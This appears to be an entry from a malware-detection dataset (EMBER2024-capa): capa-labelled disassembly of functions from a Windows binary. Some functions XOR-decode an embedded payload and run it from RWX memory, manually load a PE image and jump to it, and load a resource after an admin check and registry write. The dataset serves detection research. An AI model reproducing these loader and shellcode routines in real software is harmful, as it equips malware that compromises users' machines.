joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41f124
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x41f140
mov ecx, dword [ebp - 4]
add ecx, 0xc
call fcn.0041f33d
and dword [ebp - 0xc], 0
push dword [ebp + 0xc]
push 0
push 0
mov eax, dword [ebp - 4]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [ebp + 8]
call fcn.00401546
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
call fcn.004066ab
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x41f1a1
mov ecx, dword [ebp - 4]
add ecx, 0xc
call fcn.0041f329
mov eax, dword [ebp - 8]
leave
ret 8

Function at 0x41f1a8
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
push 0
push 3
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
mov ecx, dword [ebp - 4]
add ecx, 4
call fcn.00406f44
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 8], 0xffffffff
je 0x41f1f7
push 0
mov eax, dword [ebp - 4]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x14], eax
xor eax, eax
inc eax
jmp 0x41f200
mov eax, dword [ebp - 4]
and dword [eax + 8], 0
xor eax, eax
leave
ret 8
Function at 0x41f46c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x20], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x20]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x41f495
xor eax, eax
jmp 0x41f603
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x20]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x41f4b6
xor eax, eax
jmp 0x41f603
mov eax, dword [ebp - 8]
movzx eax, word [eax + 4]
cmp eax, 0x14c
jne 0x41f55a
mov eax, dword [ebp - 4]
mov dword [eax + 0x40], 1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov dword [eax + 0x24], ecx
mov eax, dword [ebp - 4]
add eax, 0x18
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x24]
push dword [eax + 0x54]
push dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
call fcn.00406598
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0x24]
movzx ecx, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov dword [ebp - 0x18], eax
and dword [ebp - 0xc], 0
jmp 0x41f51c
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x24]
movzx eax, word [eax + 6]
cmp dword [ebp - 0xc], eax
jge 0x41f555
mov eax, dword [ebp - 4]
add eax, 0x2c
mov dword [ebp - 0x1c], eax
sub esp, 0x30
mov ecx, esp
push 1
imul eax, dword [ebp - 0xc], 0x28
add eax, dword [ebp - 0x18]
push eax
push dword [ebp + 8]
call fcn.004201b3
mov ecx, dword [ebp - 0x1c]
call fcn.00404635
jmp 0x41f515
jmp 0x41f5f6
mov eax, dword [ebp - 8]
movzx eax, word [eax + 4]
cmp eax, 0x8664
jne 0x41f5f6
mov eax, dword [ebp - 4]
and dword [eax + 0x40], 0
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov dword [eax + 0x28], ecx
mov eax, dword [ebp - 4]
add eax, 0x18
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
push dword [eax + 0x54]
push dword [ebp + 8]
mov ecx, dword [ebp - 0x20]
call fcn.00406598
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0x28]
movzx ecx, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov dword [ebp - 0x24], eax
and dword [ebp - 0x10], 0
jmp 0x41f5bd
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x10], eax
jge 0x41f5f6
mov eax, dword [ebp - 4]
add eax, 0x2c
mov dword [ebp - 0x28], eax
sub esp, 0x30
mov ecx, esp
push 1
imul eax, dword [ebp - 0x10], 0x28
add eax, dword [ebp - 0x24]
push eax
push dword [ebp + 8]
call fcn.004201b3
mov ecx, dword [ebp - 0x28]
call fcn.00404635
jmp 0x41f5b6
mov eax, dword [ebp - 4]
mov dword [eax + 0x3c], 1
xor eax, eax
inc eax
leave
ret 4
Function at 0x41f902
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
add eax, 0x14
cmp dword [ebp - 4], eax
je 0x41f95c
mov eax, dword [ebp - 4]
sub eax, 8
mov dword [ebp - 0xc], eax
push 0x4298d0
mov eax, dword [ebp - 0xc]
push dword [eax + 0x30]
call fcn.0041fb23
pop ecx
pop ecx
test eax, eax
jne 0x41f952
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x18]
jmp 0x41f95e
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 4], eax
jmp 0x41f91d
xor eax, eax
leave
ret
Function at 0x41f960
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 8], 0
push dword [ebp + 8]
call fcn.0041fae7
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41fa8c
mov eax, dword [ebp - 4]
movzx eax, word [eax + 4]
cmp eax, 0x14c
jne 0x41f9f4
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
cmp dword [ecx + eax*8 + 0x78], 0
je 0x41f9ef
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x74]
jb 0x41f9ad
xor eax, eax
jmp 0x41fae5
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + eax*8 + 0x78]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41f9c7
xor eax, eax
jmp 0x41fae5
cmp dword [ebp + 0x14], 0
je 0x41f9dc
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + ecx*8 + 0x7c]
mov dword [eax], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x41f9ef
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
jmp 0x41fae5
jmp 0x41fa8c
mov eax, dword [ebp - 4]
movzx eax, word [eax + 4]
cmp eax, 0x8664
jne 0x41fa8c
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + eax*8 + 0x88], 0
je 0x41fa8c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x84]
jb 0x41fa31
xor eax, eax
jmp 0x41fae5
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax*8 + 0x88]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41fa4e
xor eax, eax
jmp 0x41fae5
cmp dword [ebp + 0x14], 0
je 0x41fa66
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0xc]
mov ecx, dword [edx + ecx*8 + 0x8c]
mov dword [eax], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x41fa8c
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x41fa7e
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
jmp 0x41fa87
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
jmp 0x41fae5
cmp dword [ebp - 8], 0
je 0x41fae3
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax + 6]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x1c], 0
je 0x41fae3
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
cmp eax, dword [ebp - 8]
jne 0x41fad8
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
mov eax, ecx
jmp 0x41fae5
mov eax, dword [ebp - 0x10]
add eax, 0x28
mov dword [ebp - 0x10], eax
jmp 0x41faad
xor eax, eax
leave
ret
Function at 0x41fae7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
mov eax, dword [ebp - 8]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x41fb1f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0x4550
jne 0x41fb1f
mov eax, dword [ebp - 4]
jmp 0x41fb21
xor eax, eax
leave
ret

Function at 0x420044
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push dword [ebp + 8]
call fcn.0041fae7
pop ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4201ad
push 0x40
push 0x3000
mov eax, dword [ebp - 0x10]
push dword [eax + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4201ad
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x10]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push dword [eax + 0x14]
push dword [ebp + 8]
push dword [ebp - 8]
call fcn.00401309
add esp, 0xc
xor eax, eax
mov word [ebp - 4], ax
jmp 0x4200bd
mov ax, word [ebp - 4]
add ax, 1
mov word [ebp - 4], ax
movzx eax, word [ebp - 4]
mov ecx, dword [ebp - 0x10]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x420135
movzx eax, word [ebp - 4]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 8]
push 0
movzx eax, word [ebp - 4]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
add edx, dword [ecx + eax + 0xc]
push edx
call fcn.0040132f
add esp, 0xc
movzx eax, word [ebp - 4]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x10]
movzx eax, word [ebp - 4]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax + 0x14]
push edx
movzx eax, word [ebp - 4]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
add edx, dword [ecx + eax + 0xc]
push edx
call fcn.00401309
add esp, 0xc
jmp 0x4200b1
mov eax, dword [ebp - 8]
cdq
mov esi, eax
mov edi, edx
push dword [ebp - 8]
call fcn.0041fee9
pop ecx
sub esi, eax
sbb edi, edx
push edi
push esi
push dword [ebp - 8]
call fcn.0041fc13
add esp, 0xc
movzx eax, al
test eax, eax
je 0x4201a8
push 0
push dword [ebp - 8]
call fcn.0041fcf1
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x4201a1
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x14], ecx
and dword [ebp - 0x1c], 0
cmp dword [ebp + 0xc], 0
je 0x42019a
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
push 0
push 1
push dword [ebp - 8]
call dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
jmp 0x4201af
mov eax, dword [ebp - 8]
jmp 0x4201af
mov eax, dword [ebp - 8]
jmp 0x4201af
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x420351
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x10], ecx
push 0x44
push 0
lea eax, [ebp - 0x64]
push eax
call fcn.0040132f
add esp, 0xc
mov dword [ebp - 0x64], 0x44
cmp dword [ebp + 0x10], 0
je 0x420380
mov dword [ebp - 4], 4
jmp 0x420384
and dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
call fcn.00406f44
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
call fcn.00406f44
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push 0
push 0
push dword [ebp - 4]
push 0
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4203cc
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
xor eax, eax
inc eax
jmp 0x4203ce
xor eax, eax
leave
ret 0xc

Function at 0x420444
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov dword [ebp - 0x230], 0x22c
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x420477
mov ecx, dword [ebp + 8]
call fcn.00406f52
mov eax, dword [ebp + 8]
jmp 0x4204db
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4204c7
mov eax, dword [ebp - 0x228]
cmp eax, dword [ebp + 0xc]
jne 0x4204b3
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x20c]
push eax
mov ecx, dword [ebp + 8]
call fcn.00406f64
mov eax, dword [ebp + 8]
jmp 0x4204db
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x42048b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
call fcn.00406f52
mov eax, dword [ebp + 8]
leave
ret

Function at 0x4204dd
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x420514
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 8], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
jmp 0x420516
xor eax, eax
leave
ret
Function at 0x420518
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x670
push 0x22c
push 0
lea eax, [ebp - 0x260]
push eax
call fcn.0040132f
add esp, 0xc
mov dword [ebp - 0x260], 0x22c
lea ecx, [ebp - 0x30]
call fcn.00402e00
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4206b9
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x420599
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
call fcn.00401721
lea ecx, [ebp - 0x30]
call fcn.00401788
mov eax, dword [ebp + 8]
jmp 0x4206d0
lea ecx, [ebp - 0x14]
call fcn.004023de
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x10]
call fcn.00406a11
push dword [ebp - 0x258]
push 0
push 0x1410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x42065c
push 0x410
push 0
lea eax, [ebp - 0x670]
push eax
call fcn.0040132f
add esp, 0xc
mov dword [ebp - 0x34], 0x208
push 0x208
lea eax, [ebp - 0x670]
push eax
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x420633
lea eax, [ebp - 0x670]
push eax
lea ecx, [ebp - 0x18]
call fcn.00406f64
push eax
lea ecx, [ebp - 0xc]
call fcn.00406bfc
lea ecx, [ebp - 0x18]
call fcn.00406be2
jmp 0x420651
push 0x429abc
lea ecx, [ebp - 0x1c]
call fcn.00406f64
push eax
lea ecx, [ebp - 0xc]
call fcn.00406bfc
lea ecx, [ebp - 0x1c]
call fcn.00406be2
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x42067a
push 0x4299fc
lea ecx, [ebp - 0x20]
call fcn.00406f64
push eax
lea ecx, [ebp - 0xc]
call fcn.00406bfc
lea ecx, [ebp - 0x20]
call fcn.00406be2
sub esp, 0xc
mov ecx, esp
lea eax, [ebp - 0x14]
push eax
call fcn.0040243c
lea ecx, [ebp - 0x30]
call fcn.00401b70
lea ecx, [ebp - 0x14]
call fcn.004018e2
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x420599
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
call fcn.00401721
lea ecx, [ebp - 0x30]
call fcn.00401788
mov eax, dword [ebp + 8]
leave
ret

Function at 0x420720
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x420735
xor eax, eax
jmp 0x420764
mov ecx, dword [ebp + 8]
call fcn.00406f44
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x420761
xor eax, eax
jmp 0x420764
xor eax, eax
inc eax
leave
ret 4
Function at 0x42080b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x10], ecx
and dword [ebp - 4], 0
and dword [ebp - 8], 0
and dword [ebp - 0x14], 0
mov ecx, dword [ebp + 8]
call fcn.00406f44
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4208b7
push dword [ebp - 8]
call fcn.00401000
pop ecx
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
call fcn.00406f44
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4208b7
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
call fcn.00406598
cmp dword [ebp - 0xc], 0
je 0x4208b2
push dword [ebp - 0xc]
call fcn.00401014
pop ecx
xor eax, eax
inc eax
jmp 0x4208b9
xor eax, eax
leave
ret 8

Function at 0x4208bd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], ecx
and dword [ebp - 8], 0
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x4208d9
xor eax, eax
jmp 0x420993
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xf
je 0x4208e7
jmp 0x420941
jmp 0x420984
mov ecx, dword [ebp + 0xc]
call fcn.00401546
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp + 0xc]
call fcn.004066ab
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 8]
call fcn.00406f44
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp + 0x10]
push 0
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x420991
xor eax, eax
inc eax
jmp 0x420993
xor eax, eax
leave
ret 0xc
Function at 0x421694
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0x20006
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4216d3
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x42170a
push dword [ebp - 0xc]
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], 0
je 0x421708
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x42170a
mov al, 1
leave
ret

Function at 0x421799
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 0x800
call fcn.00401000
pop ecx
mov dword [ebp - 0xc], eax
and dword [ebp - 4], 0
jmp 0x4217bc
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x601
jge 0x4217dc
mov eax, dword [ebp - 4]
movsx eax, byte [eax + 0x42c168]
xor eax, 0x45
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 4]
mov byte [ecx], al
jmp 0x4217b5
lea eax, [ebp - 0x18]
push eax
push 0x40
push 0x7d0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0xc]
add eax, 0xef
mov dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x1fe
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
push 0x104
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 8]
lea edi, [ecx + eax*2]
push 0xa
pop ecx
mov esi, 0x429e24
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 8]
call dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
pop edi
pop esi
leave
ret

Function at 0x421853
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x429dc4
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x42189d
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x429df4
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
push dword [ebp - 8]
push dword [ebp + 8]
push 1
push 0
push 0x429de4
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x4218d5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x208
push 0
push 0x5601f8
call fcn.0040132f
add esp, 0xc
push 0x208
push 0x5601f8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x421974
call fcn.0041e932
cmp eax, 1
je 0x421974
push 0x5601f8
call fcn.00421853
pop ecx
call fcn.00422080
mov dword [ebp - 4], eax
push 0x429e14
push 0x66
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 8], eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x421974
push dword [ebp - 0xc]
call fcn.00421799
pop ecx
xor eax, eax
leave
ret